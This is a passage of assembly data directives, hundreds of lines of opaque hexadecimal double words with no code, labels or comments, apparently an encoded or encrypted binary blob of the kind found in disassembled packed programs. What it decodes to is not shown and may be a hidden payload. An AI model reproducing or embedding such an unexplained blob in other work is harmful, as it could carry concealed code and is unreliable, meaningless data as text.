		dd 66113395h, 5A01CB15h, 60ADCE31h, 8D223215h, 48B537B5h
		dd 42FCBB11h, 0D3CDCB19h, 602D2F70h, 422DB9E9h,	0E769BB44h
		dd 664436D4h, 62E3B115h, 3A353E92h, 42BCCDE0h, 6280B14Eh
		dd 6630BB1Ah, 8E713215h, 6688321Dh, 63472828h, 9A9B07B0h
		dd 7DAB94Eh, 3FAC06EAh,	9F40F696h, 3006069Eh, 0A090D49Ch
		dd 66883211h, 0E140F496h, 9A7E1621h, 66113DFCh,	0ED812C15h
		dd 73168F3h, 5D31D427h,	0A9C57B83h, 0E76BBB46h,	664436D6h
		dd 62E1B115h, 57352E26h, 7ABB1609h, 8FBD6E31h, 99DDD278h
		dd 66113AFCh, 28419315h, 77F73076h, 2EA7F574h, 641724B0h
		dd 6883215h, 45B4B373h,	6630DA8Eh, 0D9B33215h, 554C61CFh
		dd 50155548h, 4E258AA9h, 26130CA5h, 7D0DBA4h, 7ACF64E0h
		dd 62E6B131h, 0AAB5475h, 0D0875333h, 6643DB1Bh,	13493215h
		dd 470D901Dh, 0E671B2A7h, 662DB11Ah, 0E7423215h, 192E74E3h
		dd 0B43F3D42h, 65AFB374h, 677C9F2Fh, 65AC67DEh,	67D69F2Fh
		dd 76AD6FFEh, 68223215h, 64820373h, 5F66DF16h, 0B4CB5D83h
		dd 62B6083h, 6612B01Ah,	0EDEE3215h, 664FDBD2h, 794D3215h
		dd 8136309Ah, 0E0E6DCDDh, 0DE1453F9h, 66223214h, 9A49F114h
		dd 6688A3FCh, 664DDB15h, 0C2DC3215h, 0A5A3C43Ch, 0E5BB067Eh
		dd 72CD36F9h, 4EDD8031h, 0EB1E68C4h, 66883214h,	72B363E9h
		dd 4226CD31h, 661EDB4Ch, 1C8F3215h, 359808B5h, 0E8C11E73h
		dd 4A29CFF9h, 6264B3D8h, 0EF443215h, 279A1611h,	0A76FE97Bh
		dd 8E493AFDh, 6B9CC512h, 70713751h, 0FB017338h,	917A0717h
		dd 0A765CF74h, 0E744524Dh, 8F4349E6h, 6688321Dh, 0F9781E0Ch
		dd 800DB4D6h, 67983D74h, 9E883215h, 44578A45h, 0A5230EFBh
		dd 0E7DA1B4Dh, 88AA21FEh, 0E3CFCB29h, 602D2C40h, 66113DFCh
		dd 7C6EF915h, 4366024Bh, 0AC815D2Fh, 0DBA910E0h, 402DA79Eh
		dd 8E24341Ah, 66223219h, 0C92B5776h, 3C5E802Eh,	0BC006410h
		dd 6622BE1Ah, 8E4B3215h, 6688321Ch, 0AFED6CB0h,	0A47A0C53h
		dd 66903D6Ah, 3D883215h, 0ABF9B174h, 67243D00h,	6271B61Ah
		dd 0EDE83215h, 72185C5h, 0E42DF12Ch, 66113647h,	80095475h
		dd 0ED22974Bh, 0B51B53C5h, 9D23B01Ah, 0EC87CDEAh, 66443214h
		dd 6216DBE0h, 0E41E3215h, 66883212h, 96CF5475h,	0A1436A43h
		dd 70B47A90h, 66883013h, 6641DB15h, 0A07F3215h,	30D04C2Ch
		dd 52128847h, 327567F7h, 3D783631h, 528BC194h, 8EE867F7h
		dd 6644321Bh, 0F5CFF4DCh, 0BCB060ABh, 0F293E6B0h, 3FB89B1Bh
		dd 66223AFCh, 14541415h, 7F35DCFCh, 0D04B53E3h,	6DA93D1Bh
		dd 8F113215h, 66883213h, 0A72856E9h, 0E6D709B5h, 0E51EB2ECh
		dd 6688327Ch, 6658B11Ah, 0EF2D3215h, 66113203h,	668823FCh
		dd 878BF15h, 0D6D1DED1h, 43966F06h, 0CA71E818h,	8DC580FAh
		dd 44455C8Dh, 7122D994h, 0AD8962C7h, 7177F194h,	0A5A362C7h
		dd 44765C8Dh, 668FB61Ah, 0E44B3215h, 66223214h,	64AE65E9h
		dd 0E7A62962h, 7D3331FAh, 39D91B3Bh, 661134FCh,	0CBFA7315h
		dd 8F0DC6BAh, 662232B4h, 0B5A661EDh, 3680D5D5h,	166864A5h
		dd 0A6DC0721h, 9A35EAE3h, 0A1808D39h, 60ABF24Dh, 0E6A4FD95h
		dd 0A1916DDAh, 3D711A35h, 664CBC1Ah, 0E72D3215h, 66113217h
		dd 66E05375h, 0E7443215h, 7C3D1639h, 6A3874FDh,	428CB331h
		dd 20AC280Ah, 0DC70CE4Ch, 20D25D6h, 3A78F094h, 0DB110476h
		dd 3A2BE59h, 474CD814h,	0E08768C4h, 66443214h, 6625DBEDh
		dd 76593215h, 0C68EBA05h, 7EAFB3C3h, 4F58473Dh,	0C9AC67DEh
		dd 0E7880964h, 5FF25BD0h, 3BC9336Fh, 66113EFCh,	0F7786215h
		dd 94BB1007h, 0AF31EEEFh, 3394B90Dh, 938E3D0Bh,	40E1A79Eh
		dd 0EC2D341Ah, 66113214h, 0AB35B1E9h, 67423D00h, 64B6B61Ah
		dd 5DE83215h, 4E0A3DCDh
		dd 69443215h, 6622219Eh, 661FDB15h, 0D1D03215h,	266BA2B1h
		dd 0C3CAAA96h, 0A681DD2Fh, 0E087E12Ch, 99BBCB49h, 6623B21Ah
		dd 36E93215h, 0BED971ADh, 2E94C562h, 250FE2E2h,	4F66EA44h
		dd 0ECE86AD3h, 0A2FC54CCh, 0D7735342h, 0E6C0C42Bh, 0A708CDD4h
		dd 0E68DCC42h, 0AEAA35FCh, 0E01E524Ch, 66883217h, 8F2472A7h
		dd 6622321Dh, 2B41F8A1h, 0A0D17065h, 6644BA1Ah,	7433215h
		dd 6614DBBFh, 146B3215h, 35FC2532h, 662232AEh, 92FAB315h
		dd 67F12430h, 9287B3E6h, 0EC5B2430h, 8FE8691Eh,	6688321Eh
		dd 0E36F73ADh, 25B73A1Bh, 0D63B0992h, 33A6084h,	0ACC4E8E3h
		dd 5CD0B2FDh, 8CD1E0E3h, 707AB216h, 9E1EE23Dh, 982D8047h
		dd 5CE3B2DFh, 8408D8C5h, 47A6B260h, 562D8744h, 0B7316BFFh
		dd 669BDB4Fh, 0D3833215h, 127529A0h, 4D5B7D73h,	50723E01h
		dd 0BDCE3C82h, 8FEA3A5Dh, 66113213h, 6D86F48Dh,	8FEEB4E9h
		dd 6622321Bh, 0D89EB9F5h, 8E6770A3h, 145EB087h,	0A5A34BCDh
		dd 103E1F21h, 0DBDDC93Ch, 106B1F21h, 67FD93Ch, 661135FDh
		dd 5383FF15h, 5CF0115Ah, 662235FDh, 0FEAD2415h,	4799C1EEh
		dd 7B16B4Ah, 66268F40h,	8D383215h, 0E5AC1E9Eh, 36BD36D1h
		dd 663A0C7Dh, 420DBB15h, 0E987694Dh, 66443204h,	66223EFCh
		dd 0EC86A015h, 4EAE9EAFh, 1F49387Ch, 0E82D9959h, 66113202h
		dd 6699B21Ah, 6AAD3215h, 8D223215h, 8D6FB16Bh, 0DC6FCB62h
		dd 35B24672h, 662230AEh, 0EDCF3315h, 0A2091609h, 66443211h
		dd 2A995475h, 7DEB2E5h,	33DBB74h, 69423D08h, 66223B99h
		dd 0E7775215h, 6E542FAh, 0E3835374h, 602D27D8h,	66113214h
		dd 668826FCh, 6B56B815h, 0D1764904h, 0E3DB6115h, 0B3E5F9A2h
		dd 0DC3FFDEAh, 80AB6446h, 6615F494h, 0A00B3215h, 42700111h
		dd 55060624h, 9A4D1621h, 3DAC06EAh, 6940F696h, 66223397h
		dd 52EECE15h, 0A2096B31h, 66443211h, 0A6A35475h, 0E91EC48Fh
		dd 66883214h, 0EF1453EDh, 662637F5h, 0A6923215h, 428CB511h
		dd 6960169Eh, 66222692h, 661EDB15h, 0DA6C3215h,	1B41B953h
		dd 0C9E23BD0h, 9C1B9674h, 84016091h, 6640F094h,	0A4A13215h
		dd 42050111h, 55AC2624h, 8F181601h, 66223205h, 313463C1h
		dd 8CA1A2DBh, 0AE627EB2h, 1CDCE072h, 99CB4AFCh,	670D3DEAh
		dd 9E443215h, 662237FCh, 0F133C815h, 0D9DFBE4Fh, 66443214h
		dd 9A7DCC3Ch, 6615DE94h, 6A013215h, 0EEAD8331h,	0E72D6BDDh
		dd 66113214h, 6E6198E9h, 4443215h, 2E04FE68h, 8FB01041h
		dd 6688321Ch, 4194A94Fh, 0B764B50h, 62FDB36Dh, 0EF883215h
		dd 95CD1609h, 6979EA9Ch, 66113A9Ch, 7E85215h, 53288A73h
		dd 662EDB74h, 27B33215h, 63D1D178h, 0A86A3CC6h,	0B427527Ch
		dd 631D846Dh, 19E86E6Dh, 1E69CA3Ch, 4B5D5249h, 6AA74AC7h
		dd 668826FCh, 0A2D9015h, 21DC5B81h, 491131B2h, 2F114665h
		dd 5AB08690h, 624A6492h, 38113215h, 8FD6C23Ch, 6644321Ch
		dd 0E7143E05h, 548CFE37h, 0D4E8991Fh, 63CE3D52h, 0DE223215h
		dd 375573F9h, 80016474h, 6640F494h, 0DF733215h,	66113211h
		dd 0E1D1FC14h, 9F181621h, 31062E9Eh, 0A190D59Ch, 66883211h
		dd 6640F594h, 5AA53215h, 6DF86E31h, 61883215h, 3865A2E3h
		dd 956D3718h, 6A9AD330h, 85016131h, 6640F194h, 0A5A33215h
		dd 66113211h, 3AAC2E92h, 66443BFCh, 0FBE4CB15h,	5C99E661h
		dd 0E86961h, 8F3550ACh,	66223212h, 204F0A0Ah, 719DCA0h
		dd 3460069Eh, 0A4A3D09Ch, 66113211h, 668CF094h,	72C33215h
		dd 37D76E31h, 0A7906B41h, 66883211h, 0E140F396h, 9A7E1619h
		dd 99CA8FFCh, 0DCEE52EAh, 75AC2E21h, 23223215h,	0AB82988Fh
		dd 2B813AA7h, 2F84A11Ah, 309C1D7Bh, 6DF9FD7Ah, 4883215h
		dd 6F154267h, 6B123DC1h, 3C4871A2h, 6E605274h, 25443215h
		dd 0DB53E260h, 0E743D827h, 59FCCECDh, 74AC6832h, 0EF223215h
		dd 0BD3F775Fh, 2BD43439h, 1C7CF951h, 0D5D2F00Eh, 3E4B608Ah
		dd 2E0DF574h, 634224B0h, 69223215h, 66113399h, 0FFE0CB15h
		dd 0EF443244h, 69791621h, 66113590h, 670D3D15h,	9F443215h
		dd 66268847h, 8D903215h, 58D101ACh, 0A5C5E114h,	587B01ACh
		dd 0D11E524Fh, 980354DDh, 66FE6074h, 0E7223215h, 0F84C0BFFh
		dd 0E77A332Eh, 0F8190BD7h, 3C38312Eh, 0A19A5475h, 0EDE918A5h
		dd 695A6790h, 74A63D13h, 6113215h, 6E606842h, 0EF443215h
		dd 9CDD6885h, 38601D32h, 0C31DB974h, 9A423D33h,	72048946h
		dd 8D900D80h, 5E2C4FD2h, 2EDF194h, 0A5A3727Ah, 0DEB136E2h
		dd 9FD3EC14h, 67A58F96h, 6923341Ah, 6617B091h, 0D395215h
		dd 66443BFCh, 0F4F2F215h, 418F500Fh, 5DE996A6h,	55C63DCDh
		dd 6223215h, 6C9B973h, 6688BE1Ah, 0E7223215h, 7594CCBh
		dd 69CB0974h, 66891193h, 6BAD5215h, 0E8223215h,	0DF8B98DEh
		dd 0C0057C5Eh, 0D1F8F108h, 94CCB373h, 0D39853DFh, 60872F70h
		dd 66443CFCh, 3B3EAC15h, 506C0EBFh, 1A96B5E5h, 6C26CEDh
		dd 778C743h, 0C359AF9Eh, 74613403h, 55443215h, 6894A061h
		dd 0C50802AEh, 0A0F4BED9h, 2263AB6Fh, 439C6470h, 676BAF13h
		dd 38981661h, 6A606E14h, 6A065E94h, 1C8C3430h, 4F375475h
		dd 6642DB42h, 0E1073215h, 5A0E1428h, 6345DB74h,	243215h
		dd 7F889ABh, 422DB9E9h,	6368BB45h, 66443211h, 66223610h
		dd 4215B515h, 6698DB49h, 64AF3215h, 8F66C9FEh, 68045E0Dh
		dd 28B9690Dh, 0E383968Eh, 602D33F4h, 66113214h,	6E093DE9h
		dd 69443215h, 66223096h, 99705215h, 0E7D31621h,	664436D1h
		dd 6AAA3D15h, 8F113215h, 66883212h, 1B5E7D23h, 995EC661h
		dd 0E5481621h, 997436D1h, 0E51A1621h, 33D736D1h, 0A3906F41h
		dd 66883211h, 0E140F796h, 67E1639h, 0E6C7851Ah,	8FE943F6h
		dd 99BBE4A4h, 662239FCh, 57DB4515h, 0FAACB69Ah,	29B19BE7h
		dd 73EF8F96h, 6910341Ah, 668D2C91h, 0ED225215h,	0AC9B54DAh
		dd 0FB3A533Ch, 60872C40h, 61A4B375h, 464DB8h, 8F70CC9Eh
		dd 6688321Ch, 0CFDA9DCh, 2A0033CDh, 79CB946h, 938E3D26h
		dd 154E8F40h, 0A3A32370h, 11CF5B7Eh, 85AF794h, 8F454D87h
		dd 0E7FB3348h, 0B05A75FCh, 6861CA1Dh, 4D443215h, 7E8E86A8h
		dd 0C25BBCCCh, 19502A50h, 1ADB3CEh, 4F263308h, 1AC67ECh
		dd 678C3308h, 0ED4B6FFCh, 66223218h, 66113AFCh,	6AF31B15h
		dd 3C08C9A6h, 639F67A6h, 4F113215h, 42A4B9FCh, 8F40F696h
		dd 6622321Fh, 0B8E75F87h, 4610399Fh, 0F9F47633h, 2C956173h
		dd 3D77CA15h, 668EB41Ah, 6243215h, 77D6374h, 7E913DBFh
		dd 6883215h, 664423FCh,	36560B15h, 0B9F6F662h, 3D5BF2A8h
		dd 0B2896777h, 57436BB6h, 57D003DDh, 9F23CBDDh,	63A4BB45h
		dd 66223211h, 0E115F296h, 42031611h, 69AD5231h,	8B223215h
		dd 9B2B91CAh, 0E9E89473h, 2BF7CC28h, 0D92DC334h, 52EE53EFh
		dd 0A20B6931h, 6655DB11h, 6C023215h, 0B20DB51Bh, 0B9552A25h
		dd 2D15B006h, 99D47F33h, 0E7481621h, 668836D1h,	52CFCA15h
		dd 80AB6431h, 6615F494h, 0A0093215h, 66443211h,	3A060692h
		dd 12FBB375h, 0E7FBF1DFh, 0B3141EC3h, 0EF735302h, 32AC67F4h
		dd 0E7E5B823h, 775D40D0h, 0F9EFB341h, 0E733D20Ch, 9DD7E9E0h
		dd 3BAD33F6h, 0E126F396h, 64D1619h, 668826FDh, 0FA2EB715h
		dd 4244E98Dh, 0A66DF4B3h, 0F18365CDh, 503E4798h, 66A23D02h
		dd 38113215h, 6688B41Ah
		dd 8F253215h, 99DDE5B7h, 38ED6375h, 779C8C73h, 2EC1F574h
		dd 642424B0h, 9F113215h, 6264B3E0h, 0EF443215h,	6791621h
		dd 2A18973h, 79FFD95h, 694A841Ah, 66222191h, 661FDB15h
		dd 0EE543215h, 0FC5DFBC7h, 92C180C3h, 51ED9888h, 6908CB95h
		dd 6644A596h, 73A03D15h, 8F113215h, 66883205h, 1F562C90h
		dd 2BFE0E6Eh, 0E08137D1h, 220EA43Bh, 6645BF1Ah,	31D73215h
		dd 0D01A9BAAh, 39733357h, 8DC5F914h, 249439BCh,	661DB11Ah
		dd 0EF873215h, 66443213h, 6622B51Ah, 0D8473215h, 70B6577Ch
		dd 2349DC94h, 0A8A32814h, 1B387D61h, 3833F494h,	80C520C6h
		dd 6948351Ah, 5C89D494h, 0A0092B07h, 99BBCFEAh,	67CC13Ch
		dd 5BEA56ACh, 6A0E3D63h, 8E443215h, 66223213h, 0F5B84ABAh
		dd 7D2A1EFh, 6644A5FCh,	67A43D15h, 9E113215h, 0A6468245h
		dd 5403AFDh, 8EE2CD11h,	4E101E12h, 61616AD4h, 7F443215h
		dd 180976B8h, 0E158E5D6h, 0E15BC5CCh, 664EDBCCh, 730B3215h
		dd 0D716454Ch, 87B4BCA6h, 6640DE94h, 52AB3215h,	60048C31h
		dd 0B07F4F2Ch, 0E792C553h, 0A0D8D9D3h, 38E01397h, 668839FCh
		dd 6574D715h, 0B40D404Eh, 51CA1563h, 31B3F194h,	0AD6D5E8Ch
		dd 18838B44h, 8F901D99h, 0A47B1573h, 691DF93Ch,	6622219Dh
		dd 661FDB15h, 7A8C3215h, 462B13B6h, 693843C2h, 4CB2BDB3h
		dd 78DDB79Eh, 0EDBD341Ah, 69049780h, 661BDB13h,	33A23215h
		dd 0D0989D50h, 0AF82CD75h, 99EA05FCh, 0E34FCAEAh, 6052975Dh
		dd 66223217h, 0ED47C7ECh, 0A20B1609h, 0D04BCA11h, 6630DB1Bh
		dd 61733215h, 0C5E11167h, 6EB10A49h, 53987F37h,	2C3480CDh
		dd 6908CB95h, 66445496h, 7EA63D15h, 8F113215h, 66883206h
		dd 0FE733179h, 53C44EB9h, 7F8D93A9h, 0D642A6E2h, 0E7393C35h
		dd 964DFFFEh, 0C9D2B312h, 67E2BD28h, 0C9AFB3DEh, 0E748BD28h
		dd 967EFFD6h, 6681DB12h, 8BEE3215h, 0A06EF53Ah,	37AF08DFh
		dd 668833ACh, 3F8F3315h, 662239FCh, 16881F15h, 34E23ABh
		dd 48213D3Ah, 66A4DBEDh, 36E83215h, 0A276EAA1h,	371EF695h
		dd 8A2AD4A0h, 0B2F5B24Ch, 4E5DDE95h, 2FBC6AF4h,	0B4D5E392h
		dd 0E71EE392h, 66883201h, 66443DFCh, 0ED2B2C15h, 76468F3h
		dd 5D9BD427h, 0A9907B83h, 662237FCh, 2DFBD715h,	37D823B4h
		dd 6644CDACh, 3FEABB15h, 8F49F334h, 6688321Ch, 0FDF71E83h
		dd 0C298E0FEh, 0DFFAB3A0h, 0E7F0F21Fh, 0FD5A91D6h, 0E7E91B2Eh
		dd 0FD0F91FEh, 0DF4BB32Eh, 693CF21Fh, 6622359Eh, 67963D15h
		dd 93883215h, 7811B79Eh, 72CB341Ah, 91113215h, 0AE6AA5AFh
		dd 83E99296h, 4C9F9A0h,	0F91AED90h, 0EDBF2ECDh,	69629780h
		dd 6631DB13h, 0DE453215h, 7823DCFAh, 23839C6Dh,	0C3A754Ch
		dd 46C7AAA4h, 0AB35B121h, 67423D00h, 91A6B61Ah,	68F8CDEAh
		dd 0F2883215h, 0AB1FB671h, 5A2BBB1Fh, 22F085Fh,	69500983h
		dd 66441B97h, 75AB3D15h, 8F113215h, 6688321Bh, 1F2EA26Ch
		dd 1198E576h, 0D4C896BBh, 0EE8726A9h, 66443214h, 69F10BEDh
		dd 99FF0193h, 99DECEEAh, 52CF1619h, 62E6B331h, 8F113215h
		dd 66883218h, 57E034D1h, 45115054h, 0A50B4F6Dh,	6685DB46h
		dd 4A0A3215h, 3EA5381Eh, 83740650h, 0EEA05E8h, 66441C26h
		dd 3F06069Ch, 6600B91Ah, 6A613215h, 0FA443215h,	0F580472h
		dd 44AE4801h, 350650FFh, 0F30BFDAEh, 3DFB1B7Fh,	0A790CB3Ch
		dd 0C1D7DDAh, 664CBF1Ah, 69423215h, 0D91EC1A2h,	337D53DEh
		dd 6644377Dh, 8F0B6F15h, 0D142C748h, 980060FCh,	3D1EC29Dh
		dd 662EBE1Ah, 61F83215h, 0E3883215h, 9F65770Ah,	0EA2D8FCCh
		dd 66113219h, 668DDB75h, 0B81A3215h, 7653BF7h, 6E9E3DBFh
		dd 6883215h, 6644B21Ah,	57433215h, 57D003DDh, 668EDBDDh
		dd 4C133215h, 0A359E20Ah, 0EDF8CEBEh, 9F77CDC6h, 66448847h
		dd 94233215h, 729A309Fh, 624CB331h, 69443215h, 6622249Eh
		dd 6600DB15h, 1F603215h, 0DCD3B0C4h, 93997B22h,	1BD6E4BCh
		dd 8F0EFF0Ah, 6644321Fh, 7180D79Dh, 3C5AC798h, 8EB463CDh
		dd 660DB61Ah, 63CB3215h, 0F113215h, 0E190E8F7h,	0EF40DE96h
		dd 0E99B1619h, 0DE1A890Eh, 6D33299Ah, 8F1DFA24h, 66223206h
		dd 0C4AAA2C5h, 0A7C40A88h, 0D8164F15h, 777D7B16h, 627C460h
		dd 0ED4B851Ah, 16AD53EFh, 6223214h, 969A5443h, 0EE9C74Dh
		dd 664445B7h, 8F062E9Ch, 6611321Fh, 0DA15CC6Ah,	553961DCh
		dd 0ED74EF31h, 0A2901609h, 66883211h, 664422FCh, 5A539315h
		dd 0F63B1C87h, 0C1D71D60h, 7C2D6A7Eh, 679A6282h, 67113215h
		dd 0ED9031E5h, 0A2C71611h, 0D874CE11h, 66113210h, 0FBD994h
		dd 95451B03h, 51F194h, 64F1B03h, 9FC395h, 7A0A0AFh, 34A38146h
		dd 0B8E76CA3h, 0E6F3FC95h, 96CCA6FBh, 3DFA324Fh, 6616B41Ah
		dd 0E6E83215h, 72460FFh, 69429874h, 66113793h, 0AE095415h
		dd 90C53344h, 0E1A5592h, 1FAF6474h, 67AD0936h, 9D6D6CE6h
		dd 455BD994h, 0ED1E172Eh, 66883212h, 6645BA1Ah,	0EDE3215h
		dd 66111D51h, 0DBAC1E9Ch, 66443211h, 8F7FD93Ch,	66113205h
		dd 0A3BCD777h, 0A8B9204Fh, 1FEE6CEBh, 0C9DF0EF8h, 668823FCh
		dd 67CDC015h, 5F5D3474h, 3A50D1C0h, 0E1DF4683h,	3514968Ah
		dd 0E506369Eh, 64A36D1h, 907EB373h, 9EEF53E0h, 35062E9Eh
		dd 0A590D19Ch, 66883211h, 6640F194h, 7AA53215h,	0E21E6E31h
		dd 66883214h, 0DE1463EDh, 66223210h, 6749F39Ch,	9E7D6BDBh
		dd 6644337Dh, 4226B915h, 6615F694h, 69E83215h, 66442593h
		dd 6630DB15h, 8D663215h, 791FC8Bh, 0E897B7FBh, 0AED51F09h
		dd 0FFD43F8Bh, 668CBB1Ah, 0DD223215h, 0A5431849h, 51EC5AECh
		dd 6A013215h, 0BCFE5231h, 0D9779383h, 0DB51F5Ah, 50775474h
		dd 4270B373h, 0ED4458DAh, 0A2901611h, 66883217h, 0C8B0773h
		dd 662222FCh, 0D160D815h, 8B52AB82h, 3B2DE74Ah,	7DD07480h
		dd 69D20ECFh, 66890691h, 0AD78CB15h, 6709B61Ah,	0ED1E3215h
		dd 66883214h, 0E54B52ECh, 66223216h, 7DFB973h, 0E287F029h
		dd 66443376h, 74A33DE0h, 8F113215h, 66883218h, 0F1C6E36Ch
		dd 0DD6B05AFh, 0A1C79BE0h, 69420E68h, 66457091h, 435215h
		dd 6934CD28h, 66895F91h, 5B22CA15h, 0E32DCD3Bh,	66113277h
		dd 643163E0h, 67443215h, 0ED23B8E4h, 0A2921619h, 6698DB11h
		dd 22883215h, 9FD8A3FDh, 0E2504999h, 5DDC6D73h,	34222534h
		dd 0B602C2A7h, 4205B973h, 8F8AF696h, 6644321Eh,	0DFA3FD70h
		dd 0C0D56A75h, 5A14EB73h, 28C03DB5h, 8F223214h,	66113207h
		dd 0B0AFB94Dh, 0A0A93990h, 1450965Ch, 435098F5h, 5277B0D2h
		dd 0A2C76B31h, 662FDB11h, 2C2F3215h, 6D49961h, 8958C230h
		dd 3051D377h, 201919ABh, 0B866B32Bh, 3662AF6Dh,	985D49ADh
		dd 3B03071Ah, 0A0813CD3h, 0ED8AB34Dh, 0E77EF07Eh, 153467E3h
		dd 0DC66B35Bh, 0EF55BBDFh, 8E426CE5h, 66113218h, 0A4CAC90Ch
		dd 0D28907C4h, 0DA284A9h, 0D7D9B2A6h, 0DB61534Ch, 8F443214h
		dd 66223218h, 0ED5F1375h, 6D0B9398h, 0D549C6C6h, 69EB039Fh
		dd 66112397h, 6684DB15h, 0F6B23215h, 632F6C34h,	8734C15Ah
		dd 0DED87199h, 99BBCDEAh, 697AF33Ch, 66113094h,	8FE95215h
		dd 664432B4h, 6631DB75h, 40523215h, 2A0EFCA0h, 0AA4B1262h
		dd 0A6FA71CDh, 0E74A3A31h, 650D3D98h, 69443215h, 3443C5AAh
		dd 8F4CE77Dh, 0A4096865h, 0E952903Bh, 72A9E39Ch, 62D5B331h
		dd 69883215h
		dd 66443A97h, 64A53D15h, 6113215h, 66DBDB74h, 243215h
		dd 9DCFDB94h, 0EFF8B373h, 0C7E05361h, 0EF44324Bh, 0A09A1611h
		dd 63670E10h, 11F37522h, 0D108C920h, 3EE3BBF8h,	6636DBEDh
		dd 0EE873215h, 66443204h, 6624DA75h, 2FC3215h, 114B6C2Ah
		dd 90FB3D4Ah, 66255A74h, 6A9A3215h, 624CB131h, 7097B275h
		dd 8F86C174h, 66113205h, 0DBBD730Fh, 0FA3900BBh, 58F0C00h
		dd 50A6E8FEh, 402DBF9Eh, 8F24341Ah, 66223207h, 0E795E853h
		dd 0E0FAE275h, 4FA50AEDh, 0F5CFF4DCh, 0ED7760ABh, 776153CDh
		dd 11443215h, 1FAE85A5h, 52104038h, 569CBD54h, 551915CDh
		dd 0E32DFB90h, 6611322Dh, 668834FCh, 8191F715h,	0EFB56993h
		dd 693797A0h, 0E7EE5213h, 69A6B2E7h, 6622289Ch,	6605DA15h
		dd 0EB623215h, 0FCD47B1Fh, 0CEA78702h, 9E4D5185h, 8F85BABh
		dd 71E5DE5h, 3F0606EAh,	6915F696h, 66883392h, 0DF15CE15h
		dd 31634410h, 0E758D3C4h, 0AFF8AEFCh, 0F285B331h, 30547491h
		dd 9698FC9Ch, 8EE86B4Bh, 66443206h, 745681E2h, 0A3E5B952h
		dd 6E4F490Fh, 0F1B0BF11h, 0ED0EBFB9h, 98AB69EFh, 7D74477h
		dd 6FADCAD6h, 1C223215h, 947CE4CAh, 0EAB3E365h,	72CD73h
		dd 42985447h, 32385413h, 3CEE3031h, 63226A73h, 68CB3431h
		dd 0B4113215h, 0D9281745h, 4E94E4DDh, 9CC858F6h, 69D20E71h
		dd 66894591h, 0EE16C715h, 0B3AA63D7h, 3C48D99Dh, 6264B3E9h
		dd 0EF443215h, 96931619h, 6948F935h, 66883395h,	9DC4CE15h
		dd 82A63D65h, 6113216h,	69738D1Ah, 66443693h, 489D5415h
		dd 69F8533Bh, 3F883215h, 3E8E9E8Bh, 0BCCA55BBh,	820B7603h
		dd 8FB47379h, 6766B61Ah, 423215h, 55ABE494h, 74F851Ah
		dd 0E24BD929h, 66223305h, 66113BFCh, 2BA3FB15h,	0EA03BF3Ch
		dd 0A41E947Ch, 66EBB61Ah, 5A743215h, 97C03DDEh,	69223215h
		dd 66112B9Fh, 669CDB15h, 0FCC13215h, 0AE3E897Fh, 19100D18h
		dd 7785209Fh, 66F3666Eh, 5B44F846h, 0E21E17EAh,	668832DDh
		dd 65C63D75h, 223215h, 7E8E49Eh, 0E287F829h, 664432A1h
		dd 5A43CA75h, 26953DF6h, 6883216h, 0DE01D6ABh, 32CDB32Dh
		dd 7281D56h, 99A60F73h,	662AB71Ah, 6423215h, 8C916846h
		dd 0E7EE5396h, 754B5F3h, 66208847h, 0A4903215h,	1ED5172Bh
		dd 8CC5C014h, 1E7F172Bh, 694B309Fh, 66883598h, 67C13D15h
		dd 9F223215h, 9D7954ECh, 6A015467h, 46B48331h, 8F7B54DDh
		dd 66113219h, 0CB6C93E1h, 1A2211B4h, 0B1463775h, 0E21E9229h
		dd 6688322Dh, 664EDB75h, 7B023215h, 0CA989578h,	6639500Ah
		dd 7BEB973h, 6622327Dh,	4215B915h, 668CF694h, 243215h
		dd 65E33ACh, 669B3DECh,	7883215h, 0F6ADC774h, 9E223215h
		dd 40B4879Ch, 0EB87341Ah, 66443206h, 66223CFCh,	0EFAFAA15h
		dd 0B157F3B0h, 32CD4D03h, 0EBA945A8h, 73BF2B88h, 6699DB13h
		dd 0F0043215h, 61CAD825h, 458E6E8Dh, 50FD6351h,	995DFAEDh
		dd 80A252C6h, 969054C4h, 33E9159Bh, 1F8C43h, 0B0D52237h
		dd 8DF7B35Bh, 0E7EA721Dh, 507FCEFBh, 5DD4B348h,	0EF302CD4h
		dd 0FB306CE0h, 57602518h, 0E62D6FFDh, 6611320Eh, 669DB01Ah
		dd 76AD3215h, 65223215h, 0D1D22C11h, 85DD32BCh,	4D275FD4h
		dd 0A571387Ah, 6610B61Ah, 347D3215h, 0A4C5D09Ch, 66223211h
		dd 6615D894h, 720F3215h, 62CD6E31h, 662BDB31h, 1EA73215h
		dd 632C3803h, 997FA7A5h, 62A92263h, 62D5B331h, 8F883215h
		dd 6644321Ch, 0B6F19542h, 63BBCE1Ah, 0BF0DBB73h, 69423D33h
		dd 6622339Bh, 3071CB15h, 668839FCh, 4E31B915h, 0AFF3BCFBh
		dd 5E423C0Bh, 0B709544Dh, 99257AA5h, 0E77A1621h, 661136D1h
		dd 710E3D15h, 8F443215h, 66223207h, 5098F372h, 0DE713C71h
		dd 0C97CF4CFh, 1EA5D81Ch, 0DD4241C4h, 66883209h, 7ACFEC14h
		dd 62E6B331h, 6113215h,	7770FC94h, 0EB253D99h, 6901C7A8h
		dd 8FBCCB13h, 6688321Eh, 0CD1D23EEh, 0F695D616h, 63D6FB2Dh
		dd 414338F8h, 0C43BD938h, 4266316Fh, 19FA3731h,	8BA548B7h
		dd 8F63F91Fh, 6622321Eh, 0A54F22Ah, 50B2A0A5h, 0CDE985C2h
		dd 0D39FBFECh, 69173D15h, 66882296h, 6CCD3D15h,	8F223215h
		dd 66113210h, 40E0EEFCh, 0ED4B9F89h, 66223214h,	0D5AF64E0h
		dd 0E7FC6E0Ch, 0C50E64D3h, 0E7FCC52Eh, 7B67CEFBh, 387833E4h
		dd 42607616h, 8506C938h, 6F963D4Bh, 6883215h, 6644BD1Ah
		dd 7D73215h, 0E7F6BB42h, 668836D2h, 62ABB315h, 0E1223215h
		dd 0EF4D1629h, 0CD711611h, 664423FCh, 0BF784015h, 29A654Dh
		dd 0EB289118h, 0C214994Dh, 0DBAF395Eh, 601E28B8h, 6689BA1Ah
		dd 0CBB13215h, 75CA52EDh, 72113215h, 0D44EB6B4h, 5B2DA66h
		dd 66F970BFh, 57711A82h, 0A2083150h, 0EA4B6DC0h, 66223213h
		dd 6611B91Ah, 31E93215h, 57249AAAh, 39DA1B63h, 4E357616h
		dd 57E89A10h, 6650DB63h, 0F74F3215h, 19843E90h,	0AF34AFEBh
		dd 42774F46h, 755F41C8h, 6BAC02Dh, 0E6498D1Ah, 992565E5h
		dd 0E57C1621h, 0EC1E36D1h, 66883201h, 66443DFCh, 250BB915h
